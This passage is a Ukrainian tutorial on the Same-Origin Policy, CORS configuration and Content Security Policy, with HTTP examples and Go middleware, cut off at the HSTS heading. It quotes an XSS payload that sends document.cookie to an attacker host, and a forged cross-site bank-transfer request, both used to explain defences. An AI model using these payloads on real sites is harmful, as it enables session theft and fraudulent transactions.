CORS та механізми безпеки HTTP
CORS та механізми безпеки HTTP
🎯 Мета розділу
- Опанувати концепцію політики одного джерела (Same-Origin Policy) та причини її виникнення у веб-безпеці.
- Зрозуміти механізм CORS (Cross-Origin Resource Sharing) як контрольований спосіб обходу SOP для міждоменної взаємодії.
- Навчитися налаштовувати CORS-заголовки для різних сценаріїв (публічні API, автентифіковані запити, preflight-запити).
- Засвоїти ключові заголовки безпеки HTTP (CSP, HSTS, X-Frame-Options) та їхню роль у захисті від атак.
- Розібрати типові вектори атак (XSS, CSRF, Clickjacking) та методи їхнього запобігання через HTTP-заголовки.
🔑 Ключові терміни
- Same-Origin Policy (SOP) — політика одного джерела, фундаментальний механізм безпеки браузера, що обмежує взаємодію між ресурсами з різних джерел.
- Origin (Джерело) — комбінація схеми протоколу (HTTP/HTTPS), домену та порту. Наприклад:
https://example.com:443. - CORS (Cross-Origin Resource Sharing) — механізм на основі HTTP-заголовків, що дозволяє серверу явно вказати, які домени мають доступ до його ресурсів.
- Preflight Request — попередній OPTIONS-запит, який браузер автоматично надсилає перед фактичним запитом для перевірки дозволів CORS.
- Credentials — облікові дані (cookies, HTTP-автентифікація, TLS-сертифікати клієнта), що передаються у міждоменних запитах.
- CSP (Content Security Policy) — політика безпеки вмісту, що обмежує джерела, з яких сторінка може завантажувати ресурси (скрипти, стилі, зображення).
- HSTS (HTTP Strict Transport Security) — механізм примусового використання HTTPS для захисту від атак типу protocol downgrade.
Політика одного джерела (Same-Origin Policy)
Концептуальний фундамент веб-безпеки
Same-Origin Policy (SOP) є одним з найважливіших механізмів безпеки сучасного веб-браузера. Ця політика була запроваджена у ранніх версіях браузера Netscape Navigator у середині 1990-х років як відповідь на зростаючі загрози безпеці веб-застосунків. Сутність SOP полягає у тому, що скрипти, завантажені з одного джерела (origin), не можуть читати або модифікувати дані з іншого джерела без явного дозволу. Це фундаментальне обмеження запобігає зловмисному коду на сторінці https://attacker.com отримати доступ до персональних даних користувача на https://bank.com, якщо обидві вкладки відкриті одночасно у браузері.
Політика одного джерела застосовується до усіх форм взаємодії між документами через JavaScript API: XMLHttpRequest, Fetch API, доступ до DOM через iframe, читання cookies через document.cookie, доступ до LocalStorage та SessionStorage. Без SOP зловмисний сайт міг би легко викрасти автентифікаційні токени, прочитати особисту кореспонденцію або виконати несанкціоновані операції від імені користувача на довірених сайтах. Таким чином, SOP є першою лінією оборони у моделі безпеки веб-браузерів, яка ізолює контексти виконання коду з різних джерел.
Проте у сучасних розподілених веб-застосунках часто виникає легітимна потреба у міждоменній взаємодії. Наприклад, фронтенд-застосунок, розміщений на https://app.example.com, повинен мати можливість звертатися до REST API на https://api.example.com або до стороннього сервісу оплати на https://payments.stripe.com. Саме для контрольованого та безпечного обходу обмежень SOP було розроблено механізм CORS (Cross-Origin Resource Sharing), який дозволяє серверу явно оголосити, які домени мають право читати його відповіді.
Визначення джерела (Origin)
У контексті Same-Origin Policy джерело (origin) визначається комбінацією трьох компонентів:
- Схема протоколу (scheme або protocol): HTTP, HTTPS, FTP, WebSocket (ws, wss) тощо.
- Доменне ім'я хоста (host або domain):
example.com,api.example.com,localhost. - Порт (port):
80(за замовчуванням для HTTP),443(за замовчуванням для HTTPS), або будь-який інший явно вказаний порт.
Два URL вважаються таким, що належать до одного джерела (same-origin), якщо всі три компоненти ідентичні. Навіть незначна відмінність у будь-якому з цих елементів робить джерела різними (cross-origin).
Приклади порівняння джерел
Розглянемо базове джерело:https://example.com/page.html
| URL | Same-Origin? | Пояснення |
|---|---|---|
https://example.com/api/users | ✅ Так | Однакові схема, домен, порт (443 за замовчуванням) |
https://example.com:443/dashboard | ✅ Так | Порт 443 за замовчуванням для HTTPS |
http://example.com/page.html | ❌ Ні | Різна схема: HTTPS vs HTTP |
https://api.example.com/data | ❌ Ні | Різний субдомен: example.com vs api.example.com |
https://example.com:8080/api | ❌ Ні | Різний порт: 443 (за замовчуванням) vs 8080 |
https://example.org/page.html | ❌ Ні | Різний домен: example.com vs example.org |
Багато початківців помилково вважають, що
http://example.com та https://example.com є одним джерелом, оскільки домен співпадає. Насправді це різні джерела, оскільки відрізняється схема протоколу (HTTP vs HTTPS). Аналогічно, example.com та www.example.com — це різні джерела, оскільки www є субдоменом.Що обмежує Same-Origin Policy?
SOP застосовується до наступних типів взаємодії між документами:
AJAX-запити (XMLHttpRequest, Fetch API)
Скрипт на сторінці https://app.example.com не може прочитати відповідь від https://api.another-domain.com без дозволу CORS.
Приклад заблокованого запиту:
Сторінка завантажена з https://app.example.com:
<!DOCTYPE html>
<html>
<head><title>App</title></head>
<body>
<script>
// Спроба звернутися до іншого домену
fetch('https://api.another-domain.com/data')
.then(response => response.json())
.then(data => console.log(data))
.catch(error => console.error('CORS blocked:', error));
</script>
</body>
</html>
Результат у консолі браузера:
Access to fetch at 'https://api.another-domain.com/data' from origin 'https://app.example.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
Браузер виконує запит до сервера api.another-domain.com та отримує відповідь, але блокує доступ JavaScript до відповіді, оскільки сервер не надіслав заголовок Access-Control-Allow-Origin.
Запит фактично досягає сервера, і сервер обробляє його та повертає відповідь. Блокування відбувається на стороні браузера після отримання відповіді. Тобто, навіть якщо CORS заблоковано, сервер може виконати операцію (наприклад, створити запис у базі даних). Це важливо розуміти для розробки безпечних API.
Доступ до DOM через iframe
Скрипт на головній сторінці не може читати або модифікувати вміст <iframe>, завантаженого з іншого джерела.
Приклад:
Сторінка https://parent.com/index.html:
<!DOCTYPE html>
<html>
<body>
<iframe id="frame" src="https://child.com/content.html"></iframe>
<script>
// Спроба доступу до DOM iframe з іншого джерела
const iframe = document.getElementById('frame');
try {
const iframeDoc = iframe.contentDocument; // Блокується SOP
console.log(iframeDoc.body.innerHTML);
} catch (error) {
console.error('SOP blocked:', error.message);
// DOMException: Blocked a frame with origin "https://parent.com"
// from accessing a cross-origin frame.
}
</script>
</body>
</html>
Аналогічно, скрипт усередині iframe з https://child.com не може отримати доступ до DOM батьківської сторінки https://parent.com.
Читання cookies через document.cookie
Cookies встановлені для домену example.com недоступні скриптам з інших доменів.
Приклад:
Сторінка https://app.example.com встановила cookie:
Set-Cookie: sessionId=abc123; Domain=example.com; Secure; HttpOnly
Скрипт на https://attacker.com не може прочитати цю cookie:
console.log(document.cookie); // Порожній рядок або лише cookies attacker.com
Якщо cookie має атрибут
HttpOnly, вона взагалі недоступна через document.cookie навіть зі свого джерела. Це захищає від XSS-атак, де зловмисний скрипт спробує викрасти автентифікаційні токени.Виключення з Same-Origin Policy
Деякі ресурси не підпадають під SOP та завантажуються з будь-яких джерел (cross-origin embedding):
- Зображення (
<img>): можна завантажити зображення з іншого домену.<img src="https://cdn.example.com/logo.png" alt="Logo"> - CSS-стилі (
<link rel="stylesheet">): можна підключити стилі з CDN.<link rel="stylesheet" href="https://cdn.bootstrap.com/4.5.0/css/bootstrap.min.css"> - JavaScript-скрипти (
<script>): можна завантажити скрипти з інших доменів.<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> - Відео та аудіо (
<video>,<audio>): медіа-контент з інших доменів. - Iframe (
<iframe>): можна вбудувати сторінку з іншого домену (але доступ до її DOM блокується).
Хоча браузер дозволяє завантажувати
<script> з інших доменів, це створює серйозний ризик безпеки. Якщо домен CDN скомпрометовано, зловмисник може впровадити шкідливий код на вашу сторінку. Тому критично важливо використовувати Subresource Integrity (SRI) для перевірки цілісності завантажених файлів:<script src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>
CORS (Cross-Origin Resource Sharing)
Архітектурний контекст та необхідність CORS
У ранні роки веб-розробки (1990-ті — початок 2000-х) більшість веб-застосунків були монолітними: весь HTML, CSS, JavaScript та серверна логіка знаходилися на одному домені. Політика одного джерела (SOP) ефективно захищала такі застосунки від міждоменних атак. Проте з еволюцією веб-архітектури до розподілених систем виникли нові патерни:
- Мікросервісна архітектура: фронтенд-застосунок на
https://app.example.comспоживає дані з кількох API на різних субдоменах (https://api.example.com,https://auth.example.com,https://analytics.example.com). - CDN та сторонні сервіси: інтеграція з платіжними системами (Stripe, PayPal), аналітикою (Google Analytics), картами (Google Maps API), соціальними мережами (Facebook SDK).
- Single Page Applications (SPA): застосунки на React, Vue, Angular, що повністю виконуються у браузері та отримують дані через AJAX від окремих backend-серверів.
У таких сценаріях легітимні cross-origin запити є нормою, а не винятком. Саме для вирішення цієї проблеми був розроблений стандарт CORS (Cross-Origin Resource Sharing), який дозволяє серверу явно оголосити, що він довіряє певним доменам та дозволяє їм читати свої відповіді, обходячи обмеження SOP контрольованим та безпечним способом.
CORS функціонує через систему HTTP-заголовків, які браузер перевіряє перед тим, як дозволити JavaScript-коду прочитати відповідь від cross-origin сервера. Сервер, який хоче дозволити міждоменні запити, включає у свої відповіді спеціальні CORS-заголовки (наприклад, Access-Control-Allow-Origin). Браузер аналізує ці заголовки та, якщо вони відповідають джерелу запиту, розблоковує доступ до відповіді для JavaScript-коду.
Простий CORS-запит (Simple Request)
Браузери класифікують cross-origin запити на дві категорії: прості запити (simple requests) та запити з передумовою (preflighted requests). Прості запити є мінімально інвазивними з точки зору безпеки та не вимагають додаткового OPTIONS-запиту перед виконанням основного запиту. Браузер надсилає простий запит безпосередньо до цільового сервера, додаючи заголовок Origin, який ідентифікує джерело, з якого був ініційований запит. Сервер, у свою чергу, повинен відповісти заголовком Access-Control-Allow-Origin, щоб дозволити JavaScript-коду прочитати відповідь.
Простий запит повинен задовольняти всі наступні умови одночасно:
- Метод запиту: лише
GET,HEADабоPOST. - Заголовки запиту: лише стандартні «безпечні» заголовки, які браузер додає автоматично (
Accept,Accept-Language,Content-Language) або заголовокContent-Typeз одним із наступних значень:application/x-www-form-urlencodedmultipart/form-datatext/plain
- Відсутність кастомних заголовків: не можна додавати
Authorization,X-API-Key, кастомні заголовки типуX-Custom-Header. - Без ReadableStream у Request.body: тіло запиту не використовує streaming.
- Без EventSource API: запит не ініційований через Server-Sent Events.
Якщо запит не відповідає хоча б одній з цих умов, він класифікується як preflighted request та вимагає попереднього OPTIONS-запиту.
Приклад простого CORS-запиту
Сценарій: Фронтенд-застосунок на https://app.example.com запитує список продуктів з публічного API на https://api.example.com.
Крок 1: Клієнт надсилає GET-запит (простий запит)
GET /api/v1/products HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Accept: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Браузер автоматично додає заголовок Origin: https://app.example.com, який інформує сервер про джерело запиту.
Крок 2: Сервер обробляє запит та повертає відповідь з CORS-заголовками
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://app.example.com
Content-Length: 345
[{"id":1,"name":"Laptop","price":29999},{"id":2,"name":"Mouse","price":599}]
Крок 3: Браузер перевіряє CORS-заголовки
Браузер порівнює значення Access-Control-Allow-Origin з джерелом запиту (https://app.example.com). Оскільки вони співпадають, браузер дозволяє JavaScript-коду прочитати відповідь.
Крок 4: JavaScript отримує доступ до даних
fetch('https://api.example.com/api/v1/products')
.then(response => response.json())
.then(data => {
console.log('Products:', data);
// Успішно отримано дані
});
Публічне API: Access-Control-Allow-Origin: *
Якщо API є публічним та призначеним для використання будь-якими доменами (наприклад, публічні дані погоди, курси валют), сервер може дозволити доступ всім доменам через wildcard *:
Відповідь сервера:
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
{"temperature":22,"humidity":60}
Браузер дозволить прочитати цю відповідь з будь-якого джерела.
Якщо запит включає облікові дані (cookies, Authorization), сервер не може використовувати wildcard
*. У такому випадку необхідно явно вказати конкретне джерело або динамічно генерувати значення на основі заголовка Origin у запиті.Запит з передумовою (Preflight Request)
Якщо cross-origin запит не відповідає критеріям простого запиту, браузер автоматично виконує preflight-запит (запит з передумовою) перед надсиланням фактичного запиту. Це додатковий OPTIONS-запит, який браузер надсилає до сервера для перевірки дозволів: чи дозволяє сервер використовувати конкретний метод, заголовки та джерело. Лише якщо preflight-запит успішний (сервер повернув відповідні CORS-заголовки), браузер виконує основний запит.
Preflight-запит потрібен у наступних випадках:
- Метод запиту:
PUT,DELETE,PATCH,OPTIONS,CONNECT,TRACEабо будь-який кастомний метод. - Кастомні заголовки: додано заголовки типу
Authorization,X-API-Key,X-Requested-With. - Content-Type: значення відрізняється від
application/x-www-form-urlencoded,multipart/form-data,text/plain(наприклад,application/json). - ReadableStream у тілі запиту.
- XMLHttpRequest з listeners на об'єкті upload.
Чому preflight-запит необхідний?
Preflight-запит виконує роль запобіжника безпеки. Уявімо ситуацію, де зловмисний сайт https://attacker.com намагається надіслати DELETE-запит до API банку https://bank.com/api/accounts/42 від імені користувача, якщо у користувача є активна сесія у банку (cookies автоматично додаються браузером). Без preflight-запиту цей DELETE-запит би досяг сервера та потенційно виконав операцію, перш ніж браузер заблокував би доступ до відповіді. Preflight-запит вирішує цю проблему: браузер спочатку перевіряє з сервером, чи дозволяє він такий запит від attacker.com. Якщо сервер не повертає відповідних CORS-заголовків, браузер взагалі не виконує основний DELETE-запит, захищаючи від потенційної шкоди.
Приклад preflight-запиту
Сценарій: Фронтенд-застосунок на https://app.example.com надсилає JSON-дані через POST з автентифікаційним токеном до https://api.example.com.
Код JavaScript:
fetch('https://api.example.com/api/v1/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'
},
body: JSON.stringify({ email: 'user@example.com', name: 'John' })
});
Цей запит не є простим, оскільки:
Content-Type: application/json(не один із дозволених типів простого запиту).- Додано кастомний заголовок
Authorization.
Крок 1: Браузер автоматично надсилає preflight OPTIONS-запит
OPTIONS /api/v1/users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type, authorization
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Пояснення заголовків preflight-запиту:
Origin: https://app.example.com— джерело, з якого ініційовано запит.Access-Control-Request-Method: POST— метод основного запиту, який браузер збирається виконати.Access-Control-Request-Headers: content-type, authorization— заголовки, які будуть використані у основному запиті.
Крок 2: Сервер повертає відповідь з дозволами CORS
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
Date: Sat, 29 Aug 2026 14:00:00 GMT
Пояснення заголовків відповіді:
Access-Control-Allow-Origin: https://app.example.com— сервер дозволяє запити з цього джерела.Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS— дозволені методи для cross-origin запитів.Access-Control-Allow-Headers: Content-Type, Authorization— дозволені заголовки, які клієнт може додавати до запитів.Access-Control-Max-Age: 86400— результат preflight-запиту можна кешувати протягом 86400 секунд (1 день). Протягом цього часу браузер не буде повторювати OPTIONS-запит для ідентичних запитів.
Крок 3: Браузер перевіряє дозволи та виконує основний запит
Браузер аналізує відповідь preflight-запиту:
- Метод
POSTприсутній уAccess-Control-Allow-Methods✅ - Заголовки
Content-TypeтаAuthorizationприсутні уAccess-Control-Allow-Headers✅ - Джерело
https://app.example.comспівпадає зAccess-Control-Allow-Origin✅
Усі перевірки пройдені успішно. Браузер виконує основний POST-запит:
POST /api/v1/users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Length: 56
{"email":"user@example.com","name":"John"}
Крок 4: Сервер обробляє запит та повертає відповідь
HTTP/1.1 201 Created
Access-Control-Allow-Origin: https://app.example.com
Content-Type: application/json; charset=utf-8
Location: https://api.example.com/api/v1/users/125
{"id":125,"email":"user@example.com","name":"John","createdAt":"2026-08-29T14:00:00Z"}
Крок 5: JavaScript отримує доступ до відповіді
fetch('https://api.example.com/api/v1/users', { /* ... */ })
.then(response => {
console.log('Status:', response.status); // 201
return response.json();
})
.then(data => {
console.log('Created user:', data);
// Успішно створено користувача
});
Заголовок
Access-Control-Max-Age: 86400 дозволяє браузеру кешувати результат preflight-запиту на 1 день. Якщо користувач виконає аналогічний POST-запит до того самого endpoint протягом наступних 24 годин, браузер пропустить OPTIONS-запит та одразу виконає основний запит, економлячи час та навантаження на сервер.CORS з обліковими даними (Credentialed Requests)
За замовчуванням, cross-origin запити не включають облікові дані (cookies, HTTP-автентифікацію, TLS-сертифікати клієнта). Це захисний механізм, який запобігає автоматичному надсиланню автентифікаційних cookies зловмисним сайтом до легітимного API. Проте у багатьох сценаріях (автентифіковані SPA-застосунки, SSO) необхідно передавати облікові дані у cross-origin запитах. Для цього потрібно явно вказати намір як на стороні клієнта, так і на стороні сервера.
Налаштування на стороні клієнта
У Fetch API або XMLHttpRequest потрібно встановити опцію credentials:
Fetch API:
fetch('https://api.example.com/api/v1/profile', {
method: 'GET',
credentials: 'include' // Включити cookies та інші облікові дані
});
Можливі значення credentials:
'omit'— ніколи не включати облікові дані (навіть для same-origin).'same-origin'(за замовчуванням) — включати лише для same-origin запитів.'include'— завжди включати, навіть для cross-origin запитів.
XMLHttpRequest:
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://api.example.com/api/v1/profile');
xhr.withCredentials = true; // Включити cookies
xhr.send();
Налаштування на стороні сервера
Сервер повинен явно дозволити передачу облікових даних через заголовок Access-Control-Allow-Credentials: true. Крім того, сервер не може використовувати wildcard * у заголовку Access-Control-Allow-Origin — необхідно вказати конкретне джерело.
Приклад credentialed запиту
Сценарій: Користувач автентифікований на https://app.example.com через session cookie. Фронтенд надсилає запит до https://api.example.com для отримання профілю користувача, і потрібно передати session cookie.
Крок 1: Клієнт надсилає запит з credentials
fetch('https://api.example.com/api/v1/users/me', {
method: 'GET',
credentials: 'include'
});
Крок 2: Браузер включає cookies у запит
GET /api/v1/users/me HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Cookie: sessionId=abc123xyz456
Accept: application/json
Браузер автоматично додає cookies для домену api.example.com, оскільки credentials: 'include'.
Крок 3: Сервер перевіряє автентифікацію та повертає відповідь
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Vary: Origin
{"id":42,"email":"user@example.com","firstName":"John","role":"user"}
Ключові моменти:
Access-Control-Allow-Origin: https://app.example.com— конкретне джерело, а не*.Access-Control-Allow-Credentials: true— дозвіл на використання облікових даних.Vary: Origin— вказує проксі-серверам та CDN, що відповідь залежить від заголовкаOrigin(важливо для коректного кешування).
Крок 4: JavaScript отримує доступ до відповіді
fetch('https://api.example.com/api/v1/users/me', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
console.log('User profile:', data);
// Успішно отримано профіль автентифікованого користувача
});
Якщо сервер дозволяє credentialed requests з необмеженого списку доменів (динамічно копіюючи значення
Origin у Access-Control-Allow-Origin без валідації), це створює серйозну вразливість CSRF. Зловмисний сайт зможе виконувати автентифіковані запити до вашого API від імені користувача. Завжди валідуйте Origin проти білого списку дозволених доменів перед встановленням Access-Control-Allow-Origin.Візуалізація потоку CORS
Блокування на стороні браузера є фундаментальною частиною архітектури CORS та пов'язане з моделлю довіри у веб-безпеці. Сервер не може знати, чи є запит легітимним чи зловмисним, оскільки він не має контексту про джерело виконання коду. Запит може бути надісланий як легітимним фронтенд-застосунком, так і зловмисним скриптом на фішинговому сайті.
Браузер виступає посередником довіри між користувачем та сервером. Він знає контекст: з якої сторінки був ініційований запит, чи є у користувача автентифікаційні cookies, чи намагається зловмисний сайт викрасти дані. Тому саме браузер приймає фінальне рішення на основі CORS-заголовків, які надсилає сервер. Сервер декларує свої наміри через Access-Control-Allow-Origin, а браузер впроваджує безпеку, блокуючи доступ JavaScript до відповіді, якщо заголовки не відповідають джерелу запиту.
Важливо розуміти, що запит все одно досягає сервера та може бути оброблений. Блокування відбувається після отримання відповіді. Це означає, що для операцій зміни стану (POST, PUT, DELETE) сервер повинен додатково захищатися через CSRF-токени або перевірку Origin/Referer заголовків, оскільки сам факт надходження запиту вже може призвести до небажаних змін.
Дозвіл на передачу облікових даних (cookies, Authorization) у поєднанні з wildcard * у Access-Control-Allow-Origin створив би критичну вразливість безпеки. Уявімо ситуацію: API банку налаштований з Access-Control-Allow-Origin: * та Access-Control-Allow-Credentials: true. Зловмисний сайт https://attacker.com може виконати наступний код:
fetch('https://bank-api.com/transfer', {
method: 'POST',
credentials: 'include', // Автоматично додасть cookies користувача
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ to: 'attacker-account', amount: 10000 })
});
Якби браузер дозволив це, зловмисник міг би виконувати автентифіковані операції від імені користувача без його відома, використовуючи cookies жертви. Це класична CSRF-атака (Cross-Site Request Forgery).
Вимога явного вказування джерела замість wildcard змушує розробників API свідомо обирати, яким доменам довіряти. Це створює явний білий список довірених джерел. Наприклад, API може дозволити доступ лише своєму власному фронтенду (https://app.example.com) або партнерським сайтам, які пройшли аудит безпеки.
У development-середовищі розробники часто працюють з локальними серверами на різних портах (наприклад, фронтенд на http://localhost:3000, backend на http://localhost:8080). Це різні origins через відмінність у портах. Для зручності розробки можна налаштувати CORS дозволяючи localhost:
Development CORS (Go приклад, концептуальний):
// Middleware для локальної розробки
func CORSMiddleware(allowedOrigins []string) gin.HandlerFunc {
return func(c *gin.Context) {
origin := c.Request.Header.Get("Origin")
// У development дозволяємо localhost
if strings.HasPrefix(origin, "http://localhost:") {
c.Writer.Header().Set("Access-Control-Allow-Origin", origin)
c.Writer.Header().Set("Access-Control-Allow-Credentials", "true")
c.Writer.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
c.Writer.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
}
if c.Request.Method == "OPTIONS" {
c.AbortWithStatus(204)
return
}
c.Next()
}
}
У production-середовищі необхідно строго обмежити дозволені origins білим списком:
Production CORS (концептуальний):
var allowedOrigins = []string{
"https://app.example.com",
"https://app.staging.example.com",
}
func CORSMiddleware(c *gin.Context) {
origin := c.Request.Header.Get("Origin")
// Перевірка, чи origin у білому списку
for _, allowed := range allowedOrigins {
if origin == allowed {
c.Writer.Header().Set("Access-Control-Allow-Origin", origin)
c.Writer.Header().Set("Access-Control-Allow-Credentials", "true")
c.Writer.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE")
c.Writer.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
c.Writer.Header().Set("Access-Control-Max-Age", "86400")
c.Writer.Header().Set("Vary", "Origin")
break
}
}
if c.Request.Method == "OPTIONS" {
c.AbortWithStatus(204)
return
}
c.Next()
}
Ключові принципи:
- Ніколи не використовуйте
*у production з credentials. - Валідуйте
Originпроти білого списку перед встановленнямAccess-Control-Allow-Origin. - Додавайте
Vary: Originдля коректного кешування на CDN/проксі. - Обмежуйте
Access-Control-Allow-Methodsлише необхідними методами. - Використовуйте
Access-Control-Max-Ageдля зменшення кількості preflight-запитів.
Заголовки безпеки HTTP
Окрім CORS, сучасні веб-застосунки повинні використовувати додаткові HTTP-заголовки безпеки для захисту від різноманітних векторів атак. Ці заголовки інструктують браузер застосовувати певні обмеження та політики безпеки, які значно підвищують захищеність застосунку навіть за наявності вразливостей у коді. Важливо розуміти, що заголовки безпеки є додатковим рівнем захисту (defense in depth), а не заміною безпечного коду. Проте вони створюють потужний бар'єр, який ускладнює або робить неможливими багато типів атак.
Content-Security-Policy (CSP)
Content Security Policy (CSP) є одним з найпотужніших механізмів захисту від атак типу Cross-Site Scripting (XSS). XSS-атаки виникають, коли зловмисник вбудовує шкідливий JavaScript-код у веб-сторінку, використовуючи вразливості в обробці користувацького вводу. Наприклад, якщо застосунок виводить коментар користувача без санітизації, зловмисник може вставити <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>, і цей код виконається у браузері кожного, хто переглядає цей коментар.
CSP дозволяє серверу явно визначити, з яких джерел (origins) сторінка може завантажувати ресурси: скрипти, стилі, зображення, шрифти, фрейми, WebSocket-з'єднання тощо. Браузер, отримавши CSP-політику через заголовок Content-Security-Policy, блокує будь-які спроби завантажити ресурси з джерел, що не входять до білого списку. Це означає, що навіть якщо зловмисник вб'є inline-скрипт <script>alert('XSS')</script> у сторінку, браузер відмовиться його виконувати, якщо CSP-політика забороняє inline-скрипти.
Базова структура CSP
CSP складається з директив, кожна з яких контролює певний тип ресурсів. Директиви розділяються крапкою з комою (;), а джерела для кожної директиви — пробілами.
Приклад базової CSP-політики:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com
Ключові директиви CSP
1. default-src — базова політика за замовчуванням
Визначає джерела за замовчуванням для всіх типів ресурсів, які не мають власної директиви.
Content-Security-Policy: default-src 'self'
Пояснення: Дозволяє завантажувати ресурси лише з того самого origin (same-origin). Блокує завантаження з інших доменів та inline-код.
2. script-src — джерела JavaScript
Контролює, звідки можна завантажувати та виконувати JavaScript.
Content-Security-Policy: script-src 'self' https://cdn.jsdelivr.net
Дозволяє:
- Скрипти з того самого origin (
'self'). - Скрипти з
https://cdn.jsdelivr.net.
Блокує:
- Inline-скрипти (
<script>alert('XSS')</script>). eval()та подібні динамічні виконання коду.- Скрипти з інших доменів.
Додаткові значення script-src:
'unsafe-inline'— дозволяє inline-скрипти (небезпечно, не рекомендується).'unsafe-eval'— дозволяєeval(),new Function()(небезпечно).'nonce-<base64-значення>'— дозволяє inline-скрипти з конкретним nonce (безпечна альтернативаunsafe-inline).'strict-dynamic'— дозволяє динамічне завантаження скриптів, завантажених довіреними скриптами.
3. style-src — джерела CSS
Контролює, звідки можна завантажувати стилі.
Content-Security-Policy: style-src 'self' https://fonts.googleapis.com
4. img-src — джерела зображень
Content-Security-Policy: img-src 'self' data: https:
Дозволяє:
- Зображення з того самого origin.
- Data URLs (
data:image/png;base64,...). - Зображення з будь-яких HTTPS-доменів (
https:).
5. font-src — джерела шрифтів
Content-Security-Policy: font-src 'self' https://fonts.gstatic.com
6. connect-src — джерела для AJAX, WebSocket, EventSource
Контролює, до яких endpoint можна робити мережеві запити.
Content-Security-Policy: connect-src 'self' https://api.example.com
Блокує fetch() або XMLHttpRequest до інших доменів.
7. frame-src — джерела для iframe
Content-Security-Policy: frame-src 'none'
Блокує всі iframe (захист від Clickjacking).
8. object-src — джерела для <object>, <embed>, <applet>
Content-Security-Policy: object-src 'none'
Рекомендується завжди встановлювати у 'none', оскільки Flash та інші плагіни є джерелом вразливостей.
Приклад суворої CSP-політики для SPA
Сценарій: Single Page Application на React з API на окремому субдомені.
Сервер повертає:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.example.com; base-uri 'self'; form-action 'self'; frame-ancestors 'none'; upgrade-insecure-requests
<!DOCTYPE html>
<html>
<head>
<title>Secure SPA</title>
<link rel="stylesheet" href="/styles/app.css">
</head>
<body>
<div id="root"></div>
<script src="/js/app.bundle.js"></script>
</body>
</html>
Пояснення політики:
default-src 'none'— за замовчуванням блокувати все.script-src 'self'— дозволити скрипти лише з того самого origin (блокує inline та зовнішні CDN).style-src 'self' 'unsafe-inline'— стилі з того самого origin + inline-стилі (необхідно для styled-components, emotion).img-src 'self' data: https:— зображення з власного сервера, data URLs та будь-які HTTPS-джерела.connect-src 'self' https://api.example.com— AJAX лише до власного origin та API.base-uri 'self'— запобігає зміні<base href>зловмисником.form-action 'self'— форми можуть відправлятися лише на власний origin.frame-ancestors 'none'— заборона вбудовування у iframe (захист від Clickjacking, аналог X-Frame-Options: DENY).upgrade-insecure-requests— автоматично апгрейдити HTTP до HTTPS.
Використання nonce для inline-скриптів
Якщо необхідно дозволити конкретні inline-скрипти без повного відключення захисту через 'unsafe-inline', можна використовувати nonce (number used once) — унікальне випадкове значення, яке генерується для кожного запиту.
Сервер генерує nonce та додає до CSP:
Content-Security-Policy: script-src 'self' 'nonce-rAnD0mV4luE123='
HTML містить inline-скрипт з тим самим nonce:
<script nonce="rAnD0mV4luE123=">
console.log('This inline script is allowed by CSP');
</script>
Браузер виконає лише скрипти з nonce, що співпадає з CSP. Зловмисник, який впровадить <script>alert('XSS')</script> без правильного nonce, буде заблокований.
Nonce повинен бути криптографічно випадковим та унікальним для кожного запиту:
import "crypto/rand"
import "encoding/base64"
func generateNonce() string {
b := make([]byte, 16)
rand.Read(b)
return base64.StdEncoding.EncodeToString(b)
}
CSP Reporting
CSP підтримує режим звітування, який дозволяє моніторити порушення політики без блокування ресурсів. Це корисно для поступового впровадження CSP у існуючі застосунки.
Content-Security-Policy-Report-Only:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri https://example.com/csp-reports
Браузер не блокуватиме ресурси, але надсилатиме звіт про порушення на report-uri. Звіт містить інформацію про заблокований ресурс, директиву CSP та URL сторінки.
Приклад звіту (JSON):
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src 'self'",
"blocked-uri": "https://malicious.com/evil.js",
"source-file": "https://example.com/page",
"line-number": 42,
"column-number": 15
}
}
Директива
report-uri застаріла. Сучасні браузери підтримують report-to, яка використовує Reporting API:Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"https://example.com/csp-reports"}]}
HTTP Strict Transport Security (HSTS)
